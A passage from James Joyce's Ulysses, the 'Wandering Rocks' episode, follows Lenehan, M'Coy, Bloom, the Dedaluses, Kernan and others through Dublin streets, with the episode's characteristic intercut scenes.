or +from here. + +In the still faint light he moved about, tapping with his lath the piled +seedbags and points of vantage on the floor. + +From a long face a beard and gaze hung on a chessboard. + +--I'm deeply obliged, Mr Lambert, the clergyman said. I won't trespass on +your valuable time ... + +--You're welcome, sir, Ned Lambert said. Drop in whenever you like. Next +week, say. Can you see? + +--Yes, yes. Good afternoon, Mr Lambert. Very pleased to have met you. + +--Pleasure is mine, sir, Ned Lambert answered. + +He followed his guest to the outlet and then whirled his lath away +among the pillars. With J. J. O'Molloy he came forth slowly into Mary's +abbey where draymen were loading floats with sacks of carob and palmnut +meal, O'Connor, Wexford. + +He stood to read the card in his hand. + +--The reverend Hugh C. Love, Rathcoffey. Present address: Saint +Michael's, Sallins. Nice young chap he is. He's writing a book about the +Fitzgeralds he told me. He's well up in history, faith. + +The young woman with slow care detached from her light skirt a +clinging twig. + +--I thought you were at a new gunpowder plot, J. J. O'Molloy said. + +Ned Lambert cracked his fingers in the air. + +--God! he cried. I forgot to tell him that one about the earl of Kildare +after he set fire to Cashel cathedral. You know that one? I'M BLOODY SORRY +I DID IT, says he, BUT I DECLARE TO GOD I THOUGHT THE ARCHBISHOP WAS +INSIDE. He mightn't like it, though. What? God, I'll tell him anyhow. +That was the great earl, the Fitzgerald Mor. Hot members they were all of +them, the Geraldines. + +The horses he passed started nervously under their slack harness. He +slapped a piebald haunch quivering near him and cried: + +--Woa, sonny! + +He turned to J. J. O'Molloy and asked: + +--Well, Jack. What is it? What's the trouble? Wait awhile. Hold hard. + +With gaping mouth and head far back he stood still and, after an +instant, sneezed loudly. + +--Chow! he said. Blast you! + +--The dust from those sacks, J. J. O'Molloy said politely. + +--No, Ned Lambert gasped, I caught a ... cold night before ... blast +your soul ... night before last ... and there was a hell of a lot of +draught ... + +He held his handkerchief ready for the coming ... + +--I was ... Glasnevin this morning ... poor little ... what do you call +him ... Chow! ... Mother of Moses! + + + * * * * * + + +Tom Rochford took the top disk from the pile he clasped against his +claret waistcoat. + +--See? he said. Say it's turn six. In here, see. Turn Now On. + +He slid it into the left slot for them. It shot down the groove, wobbled +a while, ceased, ogling them: six. + +Lawyers of the past, haughty, pleading, beheld pass from the +consolidated taxing office to Nisi Prius court Richie Goulding carrying +the costbag of Goulding, Collis and Ward and heard rustling from the +admiralty division of king's bench to the court of appeal an elderly +female with false teeth smiling incredulously and a black silk skirt of +great amplitude. + +--See? he said. See now the last one I put in is over here: Turns Over. +The impact. Leverage, see? + +He showed them the rising column of disks on the right. + +--Smart idea, Nosey Flynn said, snuffling. So a fellow coming in late can +see what turn is on and what turns are over. + +--See? Tom Rochford said. + +He slid in a disk for himself: and watched it shoot, wobble, ogle, stop: +four. Turn Now On. + +--I'll see him now in the Ormond, Lenehan said, and sound him. One good +turn deserves another. + +--Do, Tom Rochford said. Tell him I'm Boylan with impatience. + +--Goodnight, M'Coy said abruptly. When you two begin + +Nosey Flynn stooped towards the lever, snuffling at it. + +--But how does it work here, Tommy? he asked. + +--Tooraloo, Lenehan said. See you later. + +He followed M'Coy out across the tiny square of Crampton court. + +--He's a hero, he said simply. + +--I know, M'Coy said. The drain, you mean. + +--Drain? Lenehan said. It was down a manhole. + +They passed Dan Lowry's musichall where Marie Kendall, charming +soubrette, smiled on them from a poster a dauby smile. + +Going down the path of Sycamore street beside the Empire musichall +Lenehan showed M'Coy how the whole thing was. One of those manholes +like a bloody gaspipe and there was the poor devil stuck down in it, half +choked with sewer gas. Down went Tom Rochford anyhow, booky's vest +and all, with the rope round him. And be damned but he got the rope round +the poor devil and the two were hauled up. + +--The act of a hero, he said. + +At the Dolphin they halted to allow the ambulance car to gallop past +them for Jervis street. + +--This way, he said, walking to the right. I want to pop into Lynam's to +see Sceptre's starting price. What's the time by your gold watch and +chain? + +M'Coy peered into Marcus Tertius Moses' sombre office, then at +O'Neill's clock. + +--After three, he said. Who's riding her? + +--O. Madden, Lenehan said. And a game filly she is. + +While he waited in Temple bar M'Coy dodged a banana peel with +gentle pushes of his toe from the path to the gutter. Fellow might damn +easy get a nasty fall there coming along tight in the dark. + +The gates of the drive opened wide to give egress to the viceregal +cavalcade. + +--Even money, Lenehan said returning. I knocked against Bantam Lyons in +there going to back a bloody horse someone gave him that hasn't an +earthly. Through here. + +They went up the steps and under Merchants' arch. A darkbacked +figure scanned books on the hawker's cart. + +--There he is, Lenehan said. + +--Wonder what he's buying, M'Coy said, glancing behind. + +--LEOPOLDO OR THE BLOOM IS ON THE RYE, Lenehan said. + +--He's dead nuts on sales, M'Coy said. I was with him one day and he +bought a book from an old one in Liffey street for two bob. There were +fine plates in it worth double the money, the stars and the moon and +comets with long tails. Astronomy it was about. + +Lenehan laughed. + +--I'll tell you a damn good one about comets' tails, he said. Come over in +the sun. + +They crossed to the metal bridge and went along Wellington quay by +the riverwall. + +Master Patrick Aloysius Dignam came out of Mangan's, late +Fehrenbach's, carrying a pound and a half of porksteaks. + +--There was a long spread out at Glencree reformatory, Lenehan said +eagerly. The annual dinner, you know. Boiled shirt affair. The lord mayor +was there, Val Dillon it was, and sir Charles Cameron and Dan Dawson +spoke and there was music. Bartell d'Arcy sang and Benjamin Dollard ... + +--I know, M'Coy broke in. My missus sang there once. + +--Did she? Lenehan said. + +A card UNFURNISHED APARTMENTS reappeared on the windowsash of +number 7 Eccles street. + +He checked his tale a moment but broke out in a wheezy laugh. + +--But wait till I tell you, he said. Delahunt of Camden street had the +catering and yours truly was chief bottlewasher. Bloom and the wife were +there. Lashings of stuff we put up: port wine and sherry and curacao to +which we did ample justice. Fast and furious it was. After liquids came +solids. Cold joints galore and mince pies ... + +--I know, M'Coy said. The year the missus was there ... + +Lenehan linked his arm warmly. + +--But wait till I tell you, he said. We had a midnight lunch too after all +the jollification and when we sallied forth it was blue o'clock the +morning after the night before. Coming home it was a gorgeous winter's +night on the Featherbed Mountain. Bloom and Chris Callinan were on one +side of the car and I was with the wife on the other. We started singing +glees and duets: LO, THE EARLY BEAM OF MORNING. She was well primed with a +good load of Delahunt's port under her bellyband. Every jolt the bloody +car gave I had her bumping up against me. Hell's delights! She has a fine +pair, God bless her. Like that. + + +He held his caved hands a cubit from him, frowning: + +--I was tucking the rug under her and settling her boa all the time. Know +what I mean? + +His hands moulded ample curves of air. He shut his eyes tight in +delight, his body shrinking, and blew a sweet chirp from his lips. + +--The lad stood to attention anyhow, he said with a sigh. She's a gamey +mare and no mistake. Bloom was pointing out all the stars and the comets +in the heavens to Chris Callinan and the jarvey: the great bear and +Hercules and the dragon, and the whole jingbang lot. But, by God, I was +lost, so to speak, in the milky way. He knows them all, faith. At last she +spotted a weeny weeshy one miles away. AND WHAT STAR IS THAT, POLDY? says +she. By God, she had Bloom cornered. THAT ONE, IS IT? says Chris Callinan, +SURE THAT'S ONLY WHAT YOU MIGHT CALL A PINPRICK. By God, he wasn't far +wide of the mark. + +Lenehan stopped and leaned on the riverwall, panting with soft +laughter. + +--I'm weak, he gasped. + +M'Coy's white face smiled about it at instants and grew grave. +Lenehan walked on again. He lifted his yachtingcap and scratched his +hindhead rapidly. He glanced sideways in the sunlight at M'Coy. + +--He's a cultured allroundman, Bloom is, he said seriously. He's not one +of your common or garden ... you know ... There's a touch of the artist +about old Bloom. + + + * * * * * + + +Mr Bloom turned over idly pages of THE AWFUL DISCLOSURES OF MARIA +MONK, then of Aristotle's MASTERPIECE. Crooked botched print. Plates: +infants cuddled in a ball in bloodred wombs like livers of slaughtered +cows. Lots of them like that at this moment all over the world. All +butting with their skulls to get out of it. Child born every minute +somewhere. Mrs Purefoy. + +He laid both books aside and glanced at the third: TALES OF THE GHETTO +by Leopold von Sacher Masoch. + +--That I had, he said, pushing it by. + +The shopman let two volumes fall on the counter. + +--Them are two good ones, he said. + +Onions of his breath came across the counter out of his ruined +mouth. He bent to make a bundle of the other books, hugged them against +his unbuttoned waistcoat and bore them off behind the dingy curtain. + +On O'Connell bridge many persons observed the grave deportment +and gay apparel of Mr Denis J Maginni, professor of dancing &c. + +Mr Bloom, alone, looked at the titles. FAIR TYRANTS by James Lovebirch. +Know the kind that is. Had it? Yes. + +He opened it. Thought so. + +A woman's voice behind the dingy curtain. Listen: the man. + +No: she wouldn't like that much. Got her it once. + +He read the other title: SWEETS OF SIN. More in her line. Let us see. + +He read where his finger opened. + +--ALL THE DOLLARBILLS HER HUSBAND GAVE HER WERE SPENT IN THE STORES ON +WONDROUS GOWNS AND COSTLIEST FRILLIES. FOR HIM! FOR RAOUL! + +Yes. This. Here. Try. + +--HER MOUTH GLUED ON HIS IN A LUSCIOUS VOLUPTUOUS KISS WHILE HIS HANDS +FELT FOR THE OPULENT CURVES INSIDE HER DESHABILLE. + +Yes. Take this. The end. + +--YOU ARE LATE, HE SPOKE HOARSELY, EYING HER WITH A SUSPICIOUS GLARE. +THE BEAUTIFUL WOMAN THREW OFF HER SABLETRIMMED WRAP, DISPLAYING HER +QUEENLY SHOULDERS AND HEAVING EMBONPOINT. AN IMPERCEPTIBLE SMILE PLAYED +ROUND HER PERFECT LIPS AS SHE TURNED TO HIM CALMLY. + +Mr Bloom read again: THE BEAUTIFUL WOMAN. + +Warmth showered gently over him, cowing his flesh. Flesh yielded +amply amid rumpled clothes: whites of eyes swooning up. His nostrils +arched themselves for prey. Melting breast ointments (FOR HIM! FOR +RAOUL!). Armpits' oniony sweat. Fishgluey slime (HER HEAVING EMBONPOINT!). +Feel! Press! Crushed! Sulphur dung of lions! + +Young! Young! + +An elderly female, no more young, left the building of the courts of +chancery, king's bench, exchequer and common pleas, having heard in the +lord chancellor's court the case in lunacy of Potterton, in the admiralty +division the summons, exparte motion, of the owners of the Lady Cairns +versus the owners of the barque Mona, in the court of appeal reservation +of judgment in the case of Harvey versus the Ocean Accident and Guarantee +Corporation. + +Phlegmy coughs shook the air of the bookshop, bulging out the dingy +curtains. The shopman's uncombed grey head came out and his unshaven +reddened face, coughing. He raked his throat rudely, puked phlegm on the +floor. He put his boot on what he had spat, wiping his sole along it, and +bent, showing a rawskinned crown, scantily haired. + +Mr Bloom beheld it. + +Mastering his troubled breath, he said: + +--I'll take this one. + +The shopman lifted eyes bleared with old rheum. + +--SWEETS OF SIN, he said, tapping on it. That's a good one. + + + * * * * * + + +The lacquey by the door of Dillon's auctionrooms shook his handbell +twice again and viewed himself in the chalked mirror of the cabinet. + +Dilly Dedalus, loitering by the curbstone, heard the beats of the bell, +the cries of the auctioneer within. Four and nine. Those lovely curtains. +Five shillings. Cosy curtains. Selling new at two guineas. Any advance on +five shillings? Going for five shillings. + +The lacquey lifted his handbell and shook it: + +--Barang! + +Bang of the lastlap bell spurred the halfmile wheelmen to their sprint. +J. A. Jackson, W. E. Wylie, A. Munro and H. T. Gahan, their stretched +necks wagging, negotiated the curve by the College library. + +Mr Dedalus, tugging a long moustache, came round from Williams's +row. He halted near his daughter. + +--It's time for you, she said. + +--Stand up straight for the love of the lord Jesus, Mr Dedalus said. Are +you trying to imitate your uncle John, the cornetplayer, head upon +shoulder? Melancholy God! + +Dilly shrugged her shoulders. Mr Dedalus placed his hands on them +and held them back. + +--Stand up straight, girl, he said. You'll get curvature of the spine. +Do you know what you look like? + +He let his head sink suddenly down and forward, hunching his +shoulders and dropping his underjaw. + +--Give it up, father, Dilly said. All the people are looking at you. + +Mr Dedalus drew himself upright and tugged again at his moustache. + +--Did you get any money? Dilly asked. + +--Where would I get money? Mr Dedalus said. There is no-one in Dublin +would lend me fourpence. + +--You got some, Dilly said, looking in his eyes. + +--How do you know that? Mr Dedalus asked, his tongue in his cheek. + +Mr Kernan, pleased with the order he had booked, walked boldly +along James's street. + +--I know you did, Dilly answered. Were you in the Scotch house now? + +--I was not, then, Mr Dedalus said, smiling. Was it the little nuns +taught you to be so saucy? Here. + +He handed her a shilling. + +--See if you can do anything with that, he said. + +--I suppose you got five, Dilly said. Give me more than that. + +--Wait awhile, Mr Dedalus said threateningly. You're like the rest of +them, are you? An insolent pack of little bitches since your poor mother +died. But wait awhile. You'll all get a short shrift and a long day from +me. Low blackguardism! I'm going to get rid of you. Wouldn't care if I +was stretched out stiff. He's dead. The man upstairs is dead. + +He left her and walked on. Dilly followed quickly and pulled his coat. + +--Well, what is it? he said, stopping. + +The lacquey rang his bell behind their backs. + +--Barang! + +--Curse your bloody blatant soul, Mr Dedalus cried, turning on him. + +The lacquey, aware of comment, shook the lolling clapper of his bell +but feebly: + +--Bang! + +Mr Dedalus stared at him. + +--Watch him, he said. It's instructive. I wonder will he allow us to talk. + +--You got more than that, father, Dilly said. + +--I'm going to show you a little trick, Mr Dedalus said. I'll leave you +all where Jesus left the jews. Look, there's all I have. I got two +shillings from Jack Power and I spent twopence for a shave for the +funeral. + +He drew forth a handful of copper coins, nervously. + +--Can't you look for some money somewhere? Dilly said. + +Mr Dedalus thought and nodded. + +--I will, he said gravely. I looked all along the gutter in O'Connell +street. I'll try this one now. + +--You're very funny, Dilly said, grinning. + +--Here, Mr Dedalus said, handing her two pennies. Get a glass of milk for +yourself and a bun or a something. I'll be home shortly. + +He put the other coins in his pocket and started to walk on. + +The viceregal cavalcade passed, greeted by obsequious policemen, out +of Parkgate. + +--I'm sure you have another shilling, Dilly said. + +The lacquey banged loudly. + +Mr Dedalus amid the din walked off, murmuring to himself with a +pursing mincing mouth gently: + +--The little nuns! Nice little things! O, sure they wouldn't do anything! +O, sure they wouldn't really! Is it little sister Monica! + + + * * * * * + + +From the sundial towards James's gate walked Mr Kernan, pleased with the +order he had booked for Pulbrook Robertson, boldly along James's street, +past Shackleton's offices. Got round him all right. How do you do, Mr +Crimmins? First rate, sir. I was afraid you might be up in your other +establishment in Pimlico. How are things going? Just keeping alive. +Lovely weather we're having. Yes, indeed. Good for the country. Those +farmers are always grumbling. I'll just take a thimbleful of your best +gin, Mr Crimmins. A small gin, sir. Yes, sir. Terrible affair that +General Slocum explosion. Terrible, terrible! A thousand casualties. And +heartrending scenes. Men trampling down women and children. Most brutal +thing. What do they say was the cause? Spontaneous combustion. Most +scandalous revelation. Not a single lifeboat would float and the firehose +all burst. What I can't understand is how the inspectors ever allowed a +boat like that ... Now, you're talking straight, Mr Crimmins. You know +why? Palm oil. Is that a fact? Without a doubt. Well now, look at that. +And America they say is the land of the free. I thought we were bad here. + +I smiled at him. AMERICA, I said quietly, just like that. WHAT IS IT? THE +SWEEPINGS OF EVERY COUNTRY INCLUDING OUR OWN. ISN'T THAT TRUE? That's a +fact. + +Graft, my dear sir. Well, of course, where there's money going there's +always someone to pick it up. + +Saw him looking at my frockcoat. Dress does it. Nothing like a dressy +appearance. Bowls them over. + +--Hello, Simon, Father Cowley said. How are things? + +--Hello, Bob, old man, Mr Dedalus answered, stopping. + +Mr Kernan halted and preened himself before the sloping mirror of Peter +Kennedy, hairdresser. Stylish coat, beyond a doubt. Scott of Dawson +street. Well worth the half sovereign I gave Neary for it. Never built +under three guineas. Fits me down to the ground. Some Kildare street club +toff had it probably. John Mulligan, the manager of the Hibernian bank, +gave me a very sharp eye yesterday on Carlisle bridge as if he remembered +me. + +Aham! Must dress the character for those fellows. Knight of the road. +Gentleman. And now, Mr Crimmins, may we have the honour of your custom +again, sir. The cup that cheers but not inebriates, as the old saying has +it. + +North wall and sir John Rogerson's quay, with hulls and anchorchains, +sailing westward, sailed by a skiff, a crumpled throwaway, rocked on the +ferrywash, Elijah is coming. + +Mr Kernan glanced in farewell at his image. High colour, of course. +Grizzled moustache. Returned Indian officer. Bravely he bore his stumpy +body forward on spatted feet, squaring his shoulders. Is that Ned +Lambert's brother over the way, Sam? What? Yes. He's as like it as damn +it. No. The windscreen of that motorcar in the sun there. Just a flash +like that. Damn like him. + +Aham! Hot spirit of juniper juice warmed his vitals and his breath. Good +drop of gin, that was. His frocktails winked in bright sunshine to his +fat strut. + +Down there Emmet was hanged, drawn and quartered. Greasy black rope. Dogs +licking the blood off the street when the lord lieutenant's wife drove by +in her noddy. + +Bad times those were. Well, well. Over and done with. Great topers too. +Fourbottle men. + +Let me see. Is he buried in saint Michan's? Or no, there was a midnight +burial in Glasnevin. Corpse brought in through a secret door in the wall. +Dignam is there now. Went out in a puff. Well, well. Better turn down +here. Make a detour. + +Mr Kernan turned and walked down the slope of Watling street by the +corner of Guinness's visitors' waitingroom. Outside the Dublin Distillers +Company's stores an outside car without fare or jarvey stood, the reins +knotted to the wheel. Damn dangerous thing. Some Tipperary bosthoon +endangering the lives of the citizens. Runaway horse. + +Denis Breen with his tomes, weary of having waited an hour in John Henry +Menton's office, led his wife over O'Connell bridge, bound for the office +of Messrs Collis and Ward. + +Mr Kernan approached Island street. + +Times of the troubles. Must ask Ned Lambert to lend me those +reminiscences of sir Jonah Barrington. When you look back on it all now +in a kind of retrospective arrangement. Gaming at Daly's. No cardsharping +then. One of those fellows got his hand nailed to the table by a dagger. +Somewhere here lord Edward Fitzgerald escaped from major Sirr. Stables +behind Moira house. + +Damn good gin that was. + +Fine dashing young nobleman. Good stock, of course. That ruffian, that +sham squire, with his violet gloves gave him away. Course they were on +the wrong side. They rose in dark and evil days. Fine poem that is: +Ingram. They were gentlemen. Ben Dollard does sing that ballad +touchingly. Masterly rendition. + + + AT THE SIEGE OF ROSS DID MY FATHER FALL. + + +A cavalcade in easy trot along Pembroke quay passed, outriders leaping, +leaping in their, in their saddles. Frockcoats. Cream sunshades. + +Mr Kernan hurried forward, blowing pursily. + +His Excellency! Too bad! Just missed that by a hair. Damn it! What a +pity! + + + * * * * * + + +Stephen Dedalus watched through the webbed window the lapidary's fingers +prove a timedulled chain. Dust webbed the window and the showtrays. Dust +darkened the toiling fingers with their vulture nails. Dust slept on dull +coils of bronze and silver, lozenges of cinnabar, on rubies, leprous and +winedark stones. + +Born all in the dark wormy earth, cold specks of fire, evil, lights +shining in the darkness. Where fallen archangels flung the stars of their +brows. Muddy swinesnouts, hands, root and root, gripe and wrest them. + +She dances in a foul gloom where gum bums with garlic. A sailorman, +rustbearded, sips from a beaker rum and eyes her. A long and seafed +silent rut. She dances, capers, wagging her sowish haunches and her hips, +on her gross belly flapping a ruby egg. + +Old Russell with a smeared shammy rag burnished again his gem, turned it +and held it at the point of his Moses' beard. Grandfather ape gloating on +a stolen hoard. + +And you who wrest old images from the burial earth? The brainsick words +of sophists: Antisthenes. A lore of drugs. Orient and immortal wheat +standing from everlasting to everlasting. + +Two old women fresh from their whiff of the briny trudged through +Irishtown along London bridge road, one with a sanded tired umbrella, one +with a midwife's bag in which eleven cockles rolled. + +The whirr of flapping leathern bands and hum of dynamos from the +powerhouse urged Stephen to be on. Beingless beings. Stop! Throb always +without you and the throb always within. Your heart you sing of. I +between them. Where? Between two roaring worlds where they swirl, I. +Shatter them, one and both. But stun myself too in the blow. Shatter me +you who can. Bawd and butcher were the words. I say! Not yet awhile. A +look around. + +Yes, quite true. Very large and wonderful and keeps famous time. You say +right, sir. A Monday morning, 'twas so, indeed. + +Stephen went down Bedford row, the handle of the ash clacking against his +shoulderblade. In Clohissey's window a faded 1860 print of Heenan boxing +Sayers held his eye. Staring backers with square hats stood round the +roped prizering. The heavyweights in tight loincloths proposed gently +each to other his bulbous fists. And they are throbbing: heroes' hearts. + +He turned and halted by the slanted bookcart. + +--Twopence each, the huckster said. Four for sixpence. + +Tattered pages. THE IRISH BEEKEEPER. LIFE AND MIRACLES OF THE CURE' OF +ARS. POCKET GUIDE TO KILLARNEY. + +I might find here one of my pawned schoolprizes. STEPHANO DEDALO, ALUMNO +OPTIMO, PALMAM FERENTI. + +Father Conmee, having read his little hours, walked through the hamlet of +Donnycarney, murmuring vespers. + +Binding too good probably. What is this? Eighth and ninth book of Moses. +Secret of all secrets. Seal of King David. Thumbed pages: read and read. +Who has passed here before me? How to soften chapped hands. Recipe for +white wine vinegar. How to win a woman's love. For me this. Say the +following talisman three times with hands folded: + +--SE EL YILO NEBRAKADA FEMININUM! AMOR ME SOLO! SANKTUS! AMEN. + +Who wrote this? Charms and invocations of the most blessed abbot Peter +Salanka to all true believers divulged. As good as any other abbot's +charms, as mumbling Joachim's. Down, baldynoddle, or we'll wool your +wool. + +--What are you doing here, Stephen? + +Dilly's high shoulders and shabby dress. + +Shut the book quick. Don't let see. + +--What are you doing? Stephen said. + +A Stuart face of nonesuch Charles, lank locks falling at its sides. It +glowed as she crouched feeding the fire with broken boots. I told her of +Paris. Late lieabed under a quilt of old overcoats, fingering a pinchbeck +bracelet, Dan Kelly's token. NEBRAKADA FEMININUM. + +--What have you there? Stephen asked. + +--I bought it from the other cart for a penny, Dilly said, laughing +nervously. Is it any good? + +My eyes they say she has. Do others see me so? Quick, far and daring. +Shadow of my mind. + +He took the coverless book from her hand. Chardenal's French primer. + +--What did you buy that for? he asked. To learn French? + +She nodded, reddening and closing tight her lips. + +Show no surprise. Quite natural. + +--Here, Stephen said. It's all right. Mind Maggy doesn't pawn it on you. +I suppose all my books are gone. + +--Some, Dilly said. We had to. + +She is drowning. Agenbite. Save her. Agenbite. All against us. She will +drown me with her, eyes and hair. Lank coils of seaweed hair around me, +my heart, my soul. Salt green death. + +We. + +Agenbite of inwit. Inwit's agenbite. + +Misery! Misery! + + + * * * * * + + +--Hello, Simon, Father Cowley said. How are things? + +--Hello, Bob, old man, Mr Dedalus answered, stopping. + +They clasped hands loudly outside Reddy and Daughter's. Father Cowley +brushed his moustache often downward with a scooping hand. + +--What's the best news? Mr Dedalus said. + +--Why then not much, Father Cowley said. I'm barricaded up, Simon, with +two men prowling around the house trying to effect an entrance. + +--Jolly, Mr Dedalus said. Who is it? + +--O, Father Cowley said. A certain gombeen man of our acquaintance. + +--With a broken back, is it? Mr Dedalus asked. + +--The same, Simon, Father Cowley answered. Reuben of that ilk. I'm just +waiting for Ben Dollard. He's going to say a word to long John to get him +to take those two men off. All I want is a little time. + +He looked with vague hope up and down the quay, a big apple bulging in +his neck. + +--I know, Mr Dedalus said, nodding. Poor old bockedy Ben! He's always +doing a good turn for someone. Hold hard! + +He put on his glasses and gazed towards the metal bridge an instant. + +--There he is, by God, he said, arse and pockets. + +Ben Dollard's loose blue cutaway and square hat above large slops crossed +the quay in full gait from the metal bridge. He came towards them at an +amble, scratching actively behind his coattails. + +As he came near Mr Dedalus greeted: + +--Hold that fellow with the bad trousers. + +--Hold him now, Ben Dollard said. + +Mr Dedalus eyed with cold wandering scorn various points of Ben Dollard's +figure. Then, turning to Father Cowley with a nod, he muttered +sneeringly: + +--That's a pretty garment, isn't it, for a summer's day? + +--Why, God eternally curse your soul, Ben Dollard growled furiously, I +threw out more clothes in my time than you ever saw. + +He stood beside them beaming, on them first and on his roomy clothes from +points of which Mr Dedalus flicked fluff, saying: + +--They were made for a man in his health, Ben, anyhow. + +--Bad luck to the jewman that made them, Ben Dollard said. Thanks be to +God he's not paid yet. + +--And how is that BASSO PROFONDO, Benjamin? Father Cowley asked. + +Cashel Boyle O'Connor Fitzmaurice Tisdall Farrell, murmuring, glassyeyed, +strode past the Kildare street club. + +Ben Dollard frowned and, making suddenly a chanter's mouth, gave forth a +deep note. + +--Aw! he said. + +--That's the style, Mr Dedalus said, nodding to its drone. + +--What about that? Ben Dollard said. Not too dusty? What? + +He turned to both. + +--That'll do, Father Cowley said, nodding also. + +The reverend Hugh C. Love walked from the old chapterhouse of saint +Mary's abbey past James and Charles Kennedy's, rectifiers, attended by +Geraldines tall and personable, towards the Tholsel beyond the ford of +hurdles. + +Ben Dollard with a heavy list towards the shopfronts led them forward, +his joyful fingers in the air. + +--Come along with me to the subsheriff's office, he said. I want to show +you the new beauty Rock has for a bailiff. He's a cross between Lobengula +and Lynchehaun. He's well worth seeing, mind you. Come along. I saw John +Henry Menton casually in the Bodega just now and it will cost me a fall +if I don't ... Wait awhile ... We're on the right lay, Bob, believe you +me. + +--For a few days tell him, Father Cowley said anxiously. + +Ben Dollard halted and stared, his loud orifice open, a dangling button +of his coat wagging brightbacked from its thread as he wiped away the +heavy shraums that clogged his eyes to hear aright. + +--What few days? he boomed. Hasn't your landlord distrained for rent? + +--He has, Father Cowley said. + +--Then our friend's writ is not worth the paper it's printed on, Ben +Dollard said. The landlord has the prior claim. I gave him all the +particulars. 29 Windsor avenue. Love is the name? + +--That's right, Father Cowley said. The reverend Mr Love. He's a minister +in the country somewhere. But are you sure of that? + +--You can tell Barabbas from me, Ben Dollard said, that he can put that +writ where Jacko put the nuts. + +He led Father Cowley boldly forward, linked to his bulk. + +--Filberts I believe they were, Mr Dedalus said, as he dropped his +glasses on his coatfront, following them. + + + * * * * * + + +--The youngster will be all right, Martin Cunningham said, as they passed +out of the Castleyard gate. + +The policeman touched his forehead. + +--God bless you, Martin Cunningham said, cheerily. + +He signed to the waiting jarvey who chucked at the reins and set on +towards Lord Edward street. + +Bronze by gold, Miss Kennedy's head by Miss Douce's head, appeared above +the crossblind of the Ormond hotel. + +--Yes, Martin Cunningham said, fingering his beard. I wrote to Father +Conmee and laid the whole case before him. + +--You could try our friend, Mr Power suggested backward. + +--Boyd? Martin Cunningham said shortly. Touch me not. + +John Wyse Nolan, lagging behind, reading the list, came after them +quickly down Cork hill. + +On the steps of the City hall Councillor Nannetti, descending, hailed +Alderman Cowley and Councillor Abraham Lyon ascending. + +The castle car wheeled empty into upper Exchange street. + +--Look here, Martin, John Wyse Nolan said, overtaking them at the MAIL +office. I see Bloom put his name down for five shillings. + +--Quite right, Martin Cunningham said, taking the list. And put down the +five shillings too. + +--Without a second word either, Mr Power said. + +--Strange but true, Martin Cunningham added. + +John Wyse Nolan opened wide eyes. + +--I'll say there is much kindness in the jew, he quoted, elegantly. + +They went down Parliament street. + +--There's Jimmy Henry, Mr Power said, just heading for Kavanagh's. + +--Righto, Martin Cunningham said. Here goes. + +Outside LA MAISON CLAIRE Blazes Boylan waylaid Jack Mooney's brother-in- +law, humpy, tight, making for the liberties. + +John Wyse Nolan fell back with Mr Power, while Martin Cunningham took the +elbow of a dapper little man in a shower of hail suit, who walked +uncertainly, with hasty steps past Micky Anderson's watches. + +--The assistant town clerk's corns are giving him some trouble, John Wyse +Nolan told Mr Power. + +They followed round the corner towards James Kavanagh's winerooms. The +empty castle car fronted them at rest in Essex gate. Martin Cunningham, +speaking always, showed often the list at which Jimmy Henry did not +glance. + +--And long John Fanning is here too, John Wyse Nolan said, as large as +life. + +The tall form of long John Fanning filled the doorway where he stood. + +--Good day, Mr Subsheriff, Martin Cunningham said, as all halted and +greeted. + +Long John Fanning made no way for them. He removed his large Henry Clay +decisively and his large fierce eyes scowled intelligently over all their +faces. + +--Are the conscript fathers pursuing their peaceful deliberations? he +said with rich acrid utterance to the assistant town clerk. + +Hell open to christians they were having, Jimmy Henry said pettishly, +about their damned Irish language. Where was the marshal, he wanted to +know, to keep order in the council chamber. And old Barlow the macebearer +laid up with asthma, no mace on the table, nothing in order, no quorum +even, and Hutchinson, the lord mayor, in Llandudno and little Lorcan +Sherlock doing LOCUM TENENS for him. Damned Irish language, language of +our forefathers. + +Long John Fanning blew a plume of smoke from his lips. + +Martin Cunningham spoke by turns, twirling the peak of his beard, to the +assistant town clerk and the subsheriff, while John Wyse Nolan held his +peace. + +--What Dignam was that? long John Fanning asked. + +Jimmy Henry made a grimace and lifted his left foot. + +--O, my corns! he said plaintively. Come upstairs for goodness' sake till +I sit down somewhere. Uff! Ooo! Mind! + +Testily he made room for himself beside long John Fanning's flank and +passed in and up the stairs. + +--Come on up, Martin Cunningham said to the subsheriff. I don't think you +knew him or perhaps you did, though. + +With John Wyse Nolan Mr Power followed them in. + +--Decent little soul he was, Mr Power said to the stalwart back of long +John Fanning ascending towards long John Fanning in the mirror. + +--Rather lowsized. Dignam of Menton's office that was, Martin Cunningham +said. + + Long John Fanning could not remember him. + + Clatter of horsehoofs sounded from the air. + +--What's that? Martin Cunningham said. + +All turned where they stood. John Wyse Nolan came down again. From the +cool shadow of the doorway he saw the horses pass Parliament street, +harness and glossy pasterns in sunlight shimmering. Gaily they went past +before his cool unfriendly eyes, not quickly. In saddles of the leaders, +leaping leaders, rode outriders. + +--What was it? Martin Cunningham asked, as they went on up the staircase. + +--The lord lieutenantgeneral and general governor of Ireland, John Wyse +Nolan answered from the stairfoot. + + + * * * * * + + +As they trod across the thick carpet Buck Mulligan whispered behind +his Panama to Haines: + +--Parnell's brother. There in the corner. + +They chose a small table near the window, opposite a longfaced man +whose beard and gaze hung intently down on a chessboard. + +--Is that he? Haines asked, twisting round in his seat. + +--Yes, Mulligan said. That's John Howard, his brother, our city marshal. + +John Howard Parnell translated a white bishop quietly and his grey +claw went up again to his forehead whereat it rested. An instant after, +under its screen, his eyes looked quickly, ghostbright, at his foe and +fell once more upon a working corner. + +--I'll take a MELANGE, Haines said to the waitress. + +--Two MELANGES, Buck Mulligan said. And bring us some scones and butter +and some cakes as well. + +When she had gone he said, laughing: + +--We call it D.B.C. because they have damn bad cakes. O, but you missed +Dedalus on HAMLET. + +Haines opened his newbought book. + +--I'm sorry, he said. Shakespeare is the happy huntingground of all minds +that have lost their balance. + +The onelegged sailor growled at the area of 14 Nelson street: + +--ENGLAND EXPECTS ... + +Buck Mulligan's primrose waistcoat shook gaily to his laughter. + +--You should see him, he said, when his body loses its balance. Wandering +Aengus I call him. + +--I am sure he has an IDEE FIXE, Haines said, pinching his chin +thoughtfully with thumb and forefinger. Now I am speculating what it would +be likely to be. Such persons always have. + +Buck Mulligan bent across the table gravely. + +--They drove his wits astray, he said, by visions of hell. He will never +capture the Attic note. The note of Swinburne, of all poets, the white +death and the ruddy birth. That is his tragedy. He can never be a poet. +The joy of creation ... + +--Eternal punishment, Haines said, nodding curtly. I see. I tackled him +this morning on belief. There was something on his mind, I saw. It's +rather interesting because professor Pokorny of Vienna makes an +interesting point out of that. + +Buck Mulligan's watchful eyes saw the waitress come. He helped her +to unload her tray. + +--He can find no trace of hell in ancient Irish myth, Haines said, amid +the cheerful cups. 